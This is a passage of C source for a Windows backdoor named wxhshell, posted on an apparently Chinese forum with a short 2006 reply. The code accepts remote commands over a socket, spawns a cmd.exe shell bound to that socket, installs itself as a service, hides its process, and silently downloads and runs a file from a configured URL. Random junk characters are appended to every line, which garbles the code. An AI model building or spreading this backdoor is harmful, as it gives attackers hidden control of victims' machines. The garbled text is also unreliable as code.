  } G MX?  
  else { GVYBa_gx  
\]2]/=2tLd  
    switch(cmd[0]) { #Ssx!+q?  
  mpuq 9)6  
  // 帮助 YaKeq5%y  
  case '?': { TgmnG/Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M<.d8?p )  
    break; QS` PpyBkd  
  } G~2jUyv  
  // 安装 E_])E`BJ  
  case 'i': { 4E]l{"k<  
    if(Install()) aWWU4xe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mKL<<L [  
    else Li/O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rV R1wsaL  
    break; Mc09ES  
    } 5Iy;oZ  
  // 卸载 K]s[5  
  case 'r': { im9G,e  
    if(Uninstall()) JEahGzO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F+ ,~v-  
    else } z _  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PE}:ybsX  
    break; l_P-j 96WD  
    } {*0<T|<n  
  // 显示 wxhshell 所在路径 ![YX]+jqNp  
  case 'p': { Xm%D><CC8"  
    char svExeFile[MAX_PATH]; C&*oI =6  
    strcpy(svExeFile,"\n\r"); VY;{/.Sa  
      strcat(svExeFile,ExeFile); OjJXysslXO  
        send(wsh,svExeFile,strlen(svExeFile),0); h|VeG3H  
    break; 1zm ulj%&  
    } Z~oo;xE  
  // 重启 5iz{op<$,  
  case 'b': { 5!DBmAB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B$ajK`x&I  
    if(Boot(REBOOT)) .aAL]-Rj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ein4^o<f.  
    else { OGde00  
    closesocket(wsh); &]e'KdXF  
    ExitThread(0); "?ucO4d  
    } !;i`PPRwk  
    break; Ox&P}P0f  
    } 8+a4>8[M  
  // 关机 s \;"X  
  case 'd': { \`oT#|0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0B@SN)<kH  
    if(Boot(SHUTDOWN)) /y _O 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %{AO+u2i  
    else { t2F _uCr  
    closesocket(wsh); k2c}3 MeP  
    ExitThread(0); A+SE91m  
    } Sp@^XmX(S  
    break; <tF9V Jq  
    } hU`wVy  
  // 获取shell Gn|F`F  
  case 's': { M m[4yP%  
    CmdShell(wsh); s }UjGFP  
    closesocket(wsh); UDL!43K  
    ExitThread(0); +Z7th7W/,  
    break; pk?w\A}  
  } r=5{o 1"  
  // 退出 >XY`*J^  
  case 'x': { 5R'TcWf#W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (qqOjz   
    CloseIt(wsh); BSYzC9h`  
    break; 9N9 L}k b  
    } S{PJUAu  
  // 离开 ,uo'c_f(e  
  case 'q': { ?EJD?,}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A<5ZF27  
    closesocket(wsh);  J7=+  
    WSACleanup(); IE;~?W"  
    exit(1); _hRcc"MS`  
    break; $ACvV "b  
        } iYDEI e  
  } [`{Z}q&  
  } ,TXTS*V?  
W3IpHV  
  // 提示信息 xC*6vH]?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T*#/^%HSG  
} @ zs'Y8  
  } ^T ?RK "p  
c_-drS  
  return; 8TGOx%}i  
} DF1I[b=]  
SH_(rQby  
// shell模块句柄 $}J5xG,}$  
int CmdShell(SOCKET sock) }Mf!-g  
{ BGOuDKz9C  
STARTUPINFO si; B^j  
ZeroMemory(&si,sizeof(si)); :"=ez<t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e\Y*F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OUeyklw  
PROCESS_INFORMATION ProcessInfo; RIb4!!',c  
char cmdline[]="cmd"; )-0kb~;|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $nb[G$  
  return 0; /4a._@1h[y  
} (8Bk;bd  
x^kp^ /f  
// 自身启动模式 $^OvhnL/  
int StartFromService(void) =+U `-J} g  
{ ue4Vcf  
typedef struct w8kOVN2b  
{ -R57@D>j\  
  DWORD ExitStatus;  Fy`(BF\  
  DWORD PebBaseAddress; q;<h[b?  
  DWORD AffinityMask; _CW(PsfY  
  DWORD BasePriority; :uWw8`  
  ULONG UniqueProcessId; v}1QH  
  ULONG InheritedFromUniqueProcessId; ] 8Q4BW  
}   PROCESS_BASIC_INFORMATION; P%{^i]  
1QLbf*zeIW  
PROCNTQSIP NtQueryInformationProcess; |+iws8xK?  
txiP!+3OWB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k.uMp<)D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zaah^.MA|  
MYla OT  
  HANDLE             hProcess; ^Wc@oa`  
  PROCESS_BASIC_INFORMATION pbi; V}dJ.I /#  
FrTi+& <  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AWP"b?^G|  
  if(NULL == hInst ) return 0; ]|MEx{BG-  
A%`[mc]4#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k\WR  ]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p3 w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NF+iza;DP  
n^z]q;IN2.  
  if (!NtQueryInformationProcess) return 0; {B[=?6tQ  
7( qE0R&@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l-SAC3qhG  
  if(!hProcess) return 0; &Q>k7L!  
KVD8YfF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [-\%4  
^:#D0[  
  CloseHandle(hProcess); D@Vt^_  
>sK!F$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f>W -  
if(hProcess==NULL) return 0; U-IpH+E  
fjU8gV  
HMODULE hMod; $lLz 3YS  
char procName[255]; 'R c,Mq'  
unsigned long cbNeeded; } \XfH  
`}mcEl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K Pt5=a  
byT h/H  
  CloseHandle(hProcess); Olh<,p+x  
i(iXD  
if(strstr(procName,"services")) return 1; // 以服务启动 " f "6]y  
o| #Qu8Lk  
  return 0; // 注册表启动 c )G3k/T5  
} (CsD*U`h  
qMLD)rL  
// 主模块 dR"@`  
int StartWxhshell(LPSTR lpCmdLine) d5oIH  
{ ZaL.!g  
  SOCKET wsl; 7cTV?nc  
BOOL val=TRUE; w)Q0_2p.  
  int port=0; hnDBFQ{  
  struct sockaddr_in door; [/Rf\T(,jn  
cUA7#1\T=  
  if(wscfg.ws_autoins) Install(); 89o/F+_b  
NdzSz]q}  
port=atoi(lpCmdLine); ynE)Xdh  
kP-3"ACG  
if(port<=0) port=wscfg.ws_port; 7PtN?;rP  
^R# E:3e  
  WSADATA data; [N/"5 [  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h&--,A >  
/(iFcMT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =zKhz8B(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cn "s` q  
  door.sin_family = AF_INET; 1(|'WyD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1`a5C.v  
  door.sin_port = htons(port); C!fMW+C@  
\3pc"^W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /7}It$|nhy  
closesocket(wsl); [[;e)SoA  
return 1; T~Gvp0r}h  
} U-R6xxPZ  
`QyO`y=?[Y  
  if(listen(wsl,2) == INVALID_SOCKET) { {&\jW!&n  
closesocket(wsl); f' 3q(a<p  
return 1; SV2M+5#;  
} Of4^?` ^  
  Wxhshell(wsl); "x3lQ  
  WSACleanup(); Q0&H#xgt  
cVv;Jn  
return 0; p$PKa.Y3  
X)7x<?DAy  
} YbTxn="_  
H;YP8MoQ  
// 以NT服务方式启动 i*#-I3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yy)tmq  
{ >D(RYI  
DWORD   status = 0; +\F'iAs@  
  DWORD   specificError = 0xfffffff; A^)?Wt%*  
gqu?o&>9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z@B=:tf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fsif6k=4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rvXWcu-"  
  serviceStatus.dwWin32ExitCode     = 0; K95p>E`9e  
  serviceStatus.dwServiceSpecificExitCode = 0; ">y%iE  
  serviceStatus.dwCheckPoint       = 0; cp#JBH O  
  serviceStatus.dwWaitHint       = 0; A?-oL='  
yIDD@j=l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \}p6v}  
  if (hServiceStatusHandle==0) return; ( 5tvfz%  
p2DrEId  
status = GetLastError(); .ys6"V|31  
  if (status!=NO_ERROR) 9983aFam  
{ ?e,pN,4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >h k=VyU;  
    serviceStatus.dwCheckPoint       = 0; )u/yF*:n  
    serviceStatus.dwWaitHint       = 0; A-T]9f9  
    serviceStatus.dwWin32ExitCode     = status; 1:f9J  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ah k8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E#u l IgD  
    return; }Ub6eXf(2  
  } kH]yl 2  
fO0XA"=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2@%$;.  
  serviceStatus.dwCheckPoint       = 0; <iH`rP#  
  serviceStatus.dwWaitHint       = 0; &Nczv"TM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2\7`/,U6  
} :k.NbN$i\  
pO ml8SQf  
// 处理NT服务事件,比如:启动、停止 %2XHNW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z#]Jv!~EPE  
{ v(EEG/~  
switch(fdwControl) X&0 uI*r  
{ RV5n,J  
case SERVICE_CONTROL_STOP: uWM{JEOl  
  serviceStatus.dwWin32ExitCode = 0; \Dd-Xn_b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { T-'t/0e(  
  serviceStatus.dwCheckPoint   = 0; Gcig*5   
  serviceStatus.dwWaitHint     = 0; ~ ; -! n;  
  { N1|$$9G+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZE2$I^DY-  
  } 0IfKJ*]M  
  return; XI22+@d6  
case SERVICE_CONTROL_PAUSE: IFDZfx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '+$EhFwD  
  break; }lfnnK#  
case SERVICE_CONTROL_CONTINUE: dVsE^jsL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8"fD`jtQ  
  break; /XhIx\40 l  
case SERVICE_CONTROL_INTERROGATE: =u+d_'P7-R  
  break; 2UFv9  
}; F@<CsgKB-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ad:&$  
} 49w=XJ  
Ee3hG2d`  
// 标准应用程序主函数 %oq[,h <X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *X, /7C   
{ @ ]/AjjLt  
%Mk0QKzUo  
// 获取操作系统版本 Zxbo^W[[  
OsIsNt=GetOsVer(); #1c_evH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H Ge0hl[n  
*{y K 8  
  // 从命令行安装 {6~l$  
  if(strpbrk(lpCmdLine,"iI")) Install(); []A%<EI7  
<j5NFJ9  
  // 下载执行文件 Oh'Y0_oB>  
if(wscfg.ws_downexe) { %7gkNa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R0L&*Bjm  
  WinExec(wscfg.ws_filenam,SW_HIDE); av$/Om :  
} h3Q21D'f  
_ h": >  
if(!OsIsNt) { DBCK2PlJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 S p^9& ^  
HideProc(); "V$Bnz\n  
StartWxhshell(lpCmdLine); w*|7!iM  
} uvV;Mlo]  
else v0YG,)_  
  if(StartFromService()) R8T] 2?Q1  
  // 以服务方式启动 '*k'i;2/1  
  StartServiceCtrlDispatcher(DispatchTable); tWoh''@#  
else mGGsB5#w>  
  // 普通方式启动 T9u<p=p  
  StartWxhshell(lpCmdLine); QNxl/y\l0  
$.GOZqMs  
return 0; ;Hj~n+  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五